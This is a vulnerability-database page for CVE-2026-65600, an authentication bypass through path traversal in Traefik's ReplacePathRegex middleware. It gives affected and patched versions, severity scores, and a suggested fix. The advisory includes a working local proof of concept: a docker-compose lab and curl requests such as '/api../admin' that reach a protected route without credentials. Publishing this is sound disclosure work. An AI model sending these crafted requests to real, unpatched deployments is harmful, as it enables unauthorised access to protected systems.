Vulnerability-Lookup

GHSA-CXJQ-MRR5-89RV

Vulnerability from github – Published: 2026-08-06 16:51 – Updated: 2026-08-06 16:51

Summary

Traefik: Authentication Bypass via Path Traversal in ReplacePathRegex Middleware

Details

Summary

There is a critical authentication-bypass vulnerability in Traefik's ReplacePathRegex middleware. When it is configured with a regular expression that captures user-controlled path segments without a mandatory separator (for example regex: "^/api(.*)", replacement: "/$1"), a crafted request can produce an un-normalized replacement path such as /../admin, which Traefik forwarded to the backend without validation. A backend that normalizes the path may resolve it to a protected route, letting an unauthenticated attacker reach resources located behind authentication middleware. This is the same class of issue that was fixed for StripPrefix in CVE-2026-48020; that post-replacement normalization check had not been applied to ReplacePathRegex. The fix rejects any request whose replaced path does not match its normalized form.

Patches

https://github.com/traefik/traefik/releases/tag/v2.11.52
https://github.com/traefik/traefik/releases/tag/v3.6.23
https://github.com/traefik/traefik/releases/tag/v3.7.7

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description ### Summary A path traversal vulnerability in the ReplacePathRegex middleware allows an unauthenticated remote attacker to bypass authentication middleware and access protected routes by sending a single crafted HTTP request. The vulnerability exists because ReplacePathRegex does not perform post-replacement path normalization validation - the same check added to StripPrefix in the fix for CVE-2026-48020 was not applied to ReplacePathRegex. ### Details When ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g., `regex: "^/api(.*)"`, `replacement: "/$1"`), an attacker can inject implicit traversal sequences into the capture group. **Root cause:** `pkg/middlewares/replacepathregex/replace_path_regex.go`, function `ServeHTTP` (lines 56-74). After the regex substitution produces a new path, the middleware forwards it to the backend without checking whether the path normalizes differently - unlike StripPrefix which rejects such paths with HTTP 400 after the CVE-2026-48020 fix. **Attack flow:** 1. Attacker sends `GET /api../admin` 2. `sanitizePath` passes it unchanged (`api..` is a valid segment name, not a dot-segment) 3. Router matches `PathPrefix(/api)` → selects the public router (no auth middleware) 4. ReplacePathRegex applies `^/api(.*)` → captures `../admin` → replacement produces `/../admin` 5. No normalization check exists → path forwarded to backend as-is 6. Backend framework (Express, Flask, Django, Spring, ASP.NET) normalizes `/../admin` to `/admin` 7. Attacker receives protected content without authentication **Suggested fix:** Add the same JoinPath equality check after line 67:

if cleanPath := req.URL.JoinPath(); cleanPath.Path != req.URL.Path {
    http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)
    return
}

### PoC **Prerequisites:** Docker Engine 20.10+, Docker Compose v2, curl **1. Create `docker-compose.yml`:**

services:
  traefik:
    image: traefik:v3.7.6
    command:
      - "--api.insecure=true"
      - "--providers.file.filename=/etc/traefik/dynamic.yml"
      - "--entrypoints.web.address=:80"
    ports:
      - "8080:8080"
      - "80:80"
    volumes:
      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro
    healthcheck:
      test: ["CMD", "traefik", "healthcheck"]
      interval: 5s
      timeout: 3s
      retries: 5
  backend:
    image: node:22-alpine
    working_dir: /app
    volumes:
      - ./server.js:/app/server.js:ro
    command: ["node", "server.js"]
    healthcheck:
      test: ["CMD", "wget", "-qO-", "http://localhost:3000/health"]
      interval: 5s
      timeout: 3s
      retries: 5

**2. Create `dynamic.yml`:**

http:
  routers:
    public-api:
      rule: "PathPrefix(`/api`)"
      entryPoints: [web]
      middlewares: [rewrite-api]
      service: backend-svc
      priority: 1
    protected-admin:
      rule: "PathPrefix(`/admin`)"
      entryPoints: [web]
      middlewares: [auth]
      service: backend-svc
      priority: 2
  middlewares:
    rewrite-api:
      replacePathRegex:
        regex: "^/api(.*)"
        replacement: "/$1"
    auth:
      basicAuth:
        users:
          - "admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/"
  services:
    backend-svc:
      loadBalancer:
        servers:
          - url: "http://backend:3000"

**3. Create `server.js`:**

const http = require('http');
const path = require('path');
const server = http.createServer((req, res) => {
  const normalized = path.posix.normalize(req.url.split('?')[0]);
  res.setHeader('Content-Type', 'text/plain');
  if (normalized === '/health') { res.writeHead(200); res.end('OK\n'); }
  else if (normalized === '/admin' || normalized.startsWith('/admin/')) {
    res.writeHead(200); res.end(`ADMIN_SECRET_DATA (normalized=${normalized})\n`);
  } else { res.writeHead(200); res.end(`PUBLIC (normalized=${normalized})\n`); }
});
server.listen(3000);

**4. Run and exploit:**

docker compose up -d && sleep 5

# Confirm auth is enforced:
curl -s -o /dev/null -w "%{http_code}" http://localhost/admin
# → 401

# Auth bypass:
curl -s http://localhost/api../admin
# → ADMIN_SECRET_DATA (normalized=/admin)

# URL-encoded variant:
curl -s http://localhost/api%2e%2e/admin
# → ADMIN_SECRET_DATA (normalized=/admin)

**Configuration note:** The regex `^/api(.*)` (without slash separator before the capture group) is the exploitable pattern. This is the natural way to write a prefix-strip equivalent with ReplacePathRegex and is functionally identical to `StripPrefix("/api")` for legitimate traffic. The pattern `^/api/(.*)` (with mandatory slash) is not exploitable - the same structural narrowing as CVE-2026-48020 where `StripPrefix("/api")` was vulnerable but `StripPrefix("/api/")` was not. ### Impact Authentication bypass. Any route protected by auth middleware on a separate router (BasicAuth, ForwardAuth, DigestAuth) can be accessed without credentials by an unauthenticated network attacker via a single HTTP request. Both read and write operations (GET/POST/PUT/DELETE) bypass authentication. The vulnerability affects deployments using ReplacePathRegex for prefix stripping - a common, documented configuration pattern.

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.11.51"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.52"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.6.22"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.7.6"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.7.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.7.34"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-65600"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-06T16:51:10Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThere is a critical authentication-bypass vulnerability in Traefik\u0027s `ReplacePathRegex` middleware. When it is configured with a regular expression that captures user-controlled path segments without a mandatory separator (for example `regex: \"^/api(.*)\"`, `replacement: \"/$1\"`), a crafted request can produce an un-normalized replacement path such as `/../admin`, which Traefik forwarded to the backend without validation. A backend that normalizes the path may resolve it to a protected route, letting an unauthenticated attacker reach resources located behind authentication middleware. This is the same class of issue that was fixed for `StripPrefix` in CVE-2026-48020; that post-replacement normalization check had not been applied to `ReplacePathRegex`. The fix rejects any request whose replaced path does not match its normalized form.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.52\n- https://github.com/traefik/traefik/releases/tag/v3.6.23\n- https://github.com/traefik/traefik/releases/tag/v3.7.7\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\nA path traversal vulnerability in the ReplacePathRegex middleware allows an unauthenticated remote attacker to bypass authentication middleware and access protected routes by sending a single crafted HTTP request. The vulnerability exists because ReplacePathRegex does not perform post-replacement path normalization validation - the same check added to StripPrefix in the fix for CVE-2026-48020 was not applied to ReplacePathRegex.\n\n\n### Details\nWhen ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g., `regex: \"^/api(.*)\"`, `replacement: \"/$1\"`), an attacker can inject implicit traversal sequences into the capture group.\n\n**Root cause:** `pkg/middlewares/replacepathregex/replace_path_regex.go`, function `ServeHTTP` (lines 56-74). After the regex substitution produces a new path, the middleware forwards it to the backend without checking whether the path normalizes differently - unlike StripPrefix which rejects such paths with HTTP 400 after the CVE-2026-48020 fix.\n\n\n**Attack flow:**\n\n1. Attacker sends `GET /api../admin`\n2. `sanitizePath` passes it unchanged (`api..` is a valid segment name, not a dot-segment)\n3. Router matches `PathPrefix(/api)` \u2192 selects the public router (no auth middleware)\n4. ReplacePathRegex applies `^/api(.*)` \u2192 captures `../admin` \u2192 replacement produces `/../admin`\n5. No normalization check exists \u2192 path forwarded to backend as-is\n6. Backend framework (Express, Flask, Django, Spring, ASP.NET) normalizes `/../admin` to `/admin`\n7. Attacker receives protected content without authentication\n\n**Suggested fix:** Add the same JoinPath equality check after line 67:\n\n```go\nif cleanPath := req.URL.JoinPath(); cleanPath.Path != req.URL.Path {\n    http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)\n    return\n}\n```\n\n\n### PoC\n**Prerequisites:** Docker Engine 20.10+, Docker Compose v2, curl\n\n**1. Create `docker-compose.yml`:**\n\n```yaml\nservices:\n  traefik:\n    image: traefik:v3.7.6\n    command:\n      - \"--api.insecure=true\"\n      - \"--providers.file.filename=/etc/traefik/dynamic.yml\"\n      - \"--entrypoints.web.address=:80\"\n    ports:\n      - \"8080:8080\"\n      - \"80:80\"\n    volumes:\n      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro\n    healthcheck:\n      test: [\"CMD\", \"traefik\", \"healthcheck\"]\n      interval: 5s\n      timeout: 3s\n      retries: 5\n  backend:\n    image: node:22-alpine\n    working_dir: /app\n    volumes:\n      - ./server.js:/app/server.js:ro\n    command: [\"node\", \"server.js\"]\n    healthcheck:\n      test: [\"CMD\", \"wget\", \"-qO-\", \"http://localhost:3000/health\"]\n      interval: 5s\n      timeout: 3s\n      retries: 5\n```\n\n**2. Create `dynamic.yml`:**\n\n```yaml\nhttp:\n  routers:\n    public-api:\n      rule: \"PathPrefix(`/api`)\"\n      entryPoints: [web]\n      middlewares: [rewrite-api]\n      service: backend-svc\n      priority: 1\n    protected-admin:\n      rule: \"PathPrefix(`/admin`)\"\n      entryPoints: [web]\n      middlewares: [auth]\n      service: backend-svc\n      priority: 2\n  middlewares:\n    rewrite-api:\n      replacePathRegex:\n        regex: \"^/api(.*)\"\n        replacement: \"/$1\"\n    auth:\n      basicAuth:\n        users:\n          - \"admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/\"\n  services:\n    backend-svc:\n      loadBalancer:\n        servers:\n          - url: \"http://backend:3000\"\n```\n\n**3. Create `server.js`:**\n\n```javascript\nconst http = require(\u0027http\u0027);\nconst path = require(\u0027path\u0027);\nconst server = http.createServer((req, res) =\u003e {\n  const normalized = path.posix.normalize(req.url.split(\u0027?\u0027)[0]);\n  res.setHeader(\u0027Content-Type\u0027, \u0027text/plain\u0027);\n  if (normalized === \u0027/health\u0027) { res.writeHead(200); res.end(\u0027OK\\n\u0027); }\n  else if (normalized === \u0027/admin\u0027 || normalized.startsWith(\u0027/admin/\u0027)) {\n    res.writeHead(200); res.end(`ADMIN_SECRET_DATA (normalized=${normalized})\\n`);\n  } else { res.writeHead(200); res.end(`PUBLIC (normalized=${normalized})\\n`); }\n});\nserver.listen(3000);\n```\n\n**4. Run and exploit:**\n\n```bash\ndocker compose up -d \u0026\u0026 sleep 5\n\n# Confirm auth is enforced:\ncurl -s -o /dev/null -w \"%{http_code}\" http://localhost/admin\n# \u2192 401\n\n# Auth bypass:\ncurl -s http://localhost/api../admin\n# \u2192 ADMIN_SECRET_DATA (normalized=/admin)\n\n# URL-encoded variant:\ncurl -s http://localhost/api%2e%2e/admin\n# \u2192 ADMIN_SECRET_DATA (normalized=/admin)\n```\n\n**Configuration note:** The regex `^/api(.*)` (without slash separator before the capture group) is the exploitable pattern. This is the natural way to write a prefix-strip equivalent with ReplacePathRegex and is functionally identical to `StripPrefix(\"/api\")` for legitimate traffic. The pattern `^/api/(.*)` (with mandatory slash) is not exploitable - the same structural narrowing as CVE-2026-48020 where `StripPrefix(\"/api\")` was vulnerable but `StripPrefix(\"/api/\")` was not.\n\n\n### Impact\nAuthentication bypass. Any route protected by auth middleware on a separate router (BasicAuth, ForwardAuth, DigestAuth) can be accessed without credentials by an unauthenticated network attacker via a single HTTP request. Both read and write operations (GET/POST/PUT/DELETE) bypass authentication. The vulnerability affects deployments using ReplacePathRegex for prefix stripping - a common, documented configuration pattern.\n\n\u003c/details\u003e\n\n---",
  "id": "GHSA-cxjq-mrr5-89rv",
  "modified": "2026-08-06T16:51:10Z",
  "published": "2026-08-06T16:51:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-cxjq-mrr5-89rv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65600"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/3f10dd442479530560f010167cac2947676d9b29"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v2.11.52"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.23"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.7"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/traefik-before-authentication-bypass-via-replacepathregex"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Traefik: Authentication Bypass via Path Traversal in ReplacePathRegex Middleware"
}

CVE-2026-65600 (GCVE-0-2026-65600)

Vulnerability from cvelistv5 – Published: 2026-07-22 11:21 – Updated: 2026-10-08 15:23

Title

Traefik before v2.11.52 Authentication Bypass via ReplacePathRegex

Summary

Traefik versions <= v2.11.51, >= v3.6.0 <= v3.6.22, and >= v3.7.0 <= v3.7.6 contain an authentication bypass via path traversal in the ReplacePathRegex middleware. When ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g. regex "^/api(.*)", replacement "/$1"), the middleware forwards the replaced path to the backend without validating that it matches its normalized form. An unauthenticated remote attacker can send a crafted request (e.g. GET /api../admin) that produces an un-normalized path such as /../admin, which a backend that normalizes paths resolves to a protected route, bypassing authentication middleware. Fixed in v2.11.52, v3.6.23, and v3.7.7.

Severity

7.8 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

SSVC

Exploitation: none Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-23 19:08 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

VulnCheck CNA under the mitre root

CNA scorecard B 84/100 over 7609 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/traefik/traefik/security/advis…	vendor-advisory
https://www.vulncheck.com/advisories/traefik-befo…	third-party-advisory

Impacted products

3 products

Vendor	Product	Version
traefik	traefik	Affected: 0 , < 2.11.52 (semver) Unaffected: 2.11.52 (semver)
traefik	traefik	Affected: 3.6.0 , < 3.6.23 (semver) Unaffected: 3.6.23 (semver)
traefik	traefik	Affected: 3.7.0 , < 3.7.7 (semver) Unaffected: 3.7.7 (semver)

Date Public

2026-07-09 00:00

Credits

C-h4ck-0

Show details on NVD website

JSON

To clipboard

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                "id": "CVE-2026-65600",
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        "orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "shortName": "VulnCheck"
      },
      "references": [
        {
          "name": "GitHub Security Advisory (GHSA-cxjq-mrr5-89rv)",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/traefik/traefik/security/advisories/GHSA-cxjq-mrr5-89rv"
        },
        {
          "name": "VulnCheck Advisory: Traefik before v2.11.52 Authentication Bypass via ReplacePathRegex",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://www.vulncheck.com/advisories/traefik-before-authentication-bypass-via-replacepathregex"
        }
      ],
      "title": "Traefik before v2.11.52 Authentication Bypass via ReplacePathRegex",
      "x_generator": {
        "engine": "vulncheck-endgame"
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    }
  },
  "cveMetadata": {
    "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
    "assignerShortName": "VulnCheck",
    "cveId": "CVE-2026-65600",
    "datePublished": "2026-07-22T11:21:46.783Z",
    "dateReserved": "2026-07-22T10:48:36.000Z",
    "dateUpdated": "2026-10-08T15:23:54.243Z",
    "state": "PUBLISHED"
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}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Publication & reservation Sightings KEV catalogs Other timestamps

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-CXJQ-MRR5-89RV

Summary

Patches

For more information

CVE-2026-65600 (GCVE-0-2026-65600)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour